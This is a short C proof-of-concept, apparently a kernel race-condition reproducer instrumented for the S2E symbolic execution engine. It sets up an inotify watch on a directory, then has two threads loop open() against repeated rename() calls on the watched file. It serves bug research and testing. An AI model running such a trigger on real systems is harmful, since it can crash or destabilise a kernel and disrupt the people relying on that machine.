poc.c

#define _GNU_SOURCE



#include <endian.h>

#include <stdint.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <unistd.h>

#include <pthread.h>

#include <s2e.h>

uint64_t r[1] = {0xffffffffffffffff};

void *thread2(void *arg) {
  // int n = 1000;

	while (1) {
        s2e_invoke_plugin("ProgramMonitor", "m", 1);
		syscall(__NR_open, 0x203f5000, 2, 0);
	}
}



void *thread3(void *arg) {
  // int n = 1000;

	while (1) {
        s2e_invoke_plugin("ProgramMonitor", "m", 1);
		syscall(__NR_rename, 0x203f5000, 0x207aa000);

		syscall(__NR_rename, 0x207aa000, 0x203f5000);

	}

}



int main(void)

{

  pthread_t threads[3];

  syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);

  long res = 0;

  memcpy((void*)0x20029ff6, "./control", 10);

  syscall(__NR_mkdir, 0x20029ff6, 0777);

  memcpy((void*)0x203f5000, "./control/f", 12);

  syscall(__NR_open, 0x203f5000, 0x942 , 0x1b6);

  res = syscall(__NR_inotify_init1, 0x800);
  if (res == -1)
    exit(5);
  if (res != -1)
    r[0] = res;

  res = syscall(__NR_inotify_add_watch, r[0], 0x20029ff6, 0x39);
  if (res == -1)
    exit(4);

  memcpy((void*)0x207aa000, "./control/bbbb321032103210321032103210", 39);
  s2e_make_symbolic((void*)0x207aa000, 38, "ptr_0x207aa000");
  s2e_make_symbolic((void*)0x203f5000, 11, "ptr_0x203f5000");
  s2e_invoke_plugin("ProgramMonitor", "s", 1);

  pthread_create(&threads[1], NULL, thread2, NULL);

  pthread_create(&threads[2], NULL, thread3, NULL);

  pthread_join(threads[1], NULL);

  pthread_join(threads[2], NULL);

  s2e_invoke_plugin("ProgramMonitor", "e", 1);
  return 0;

}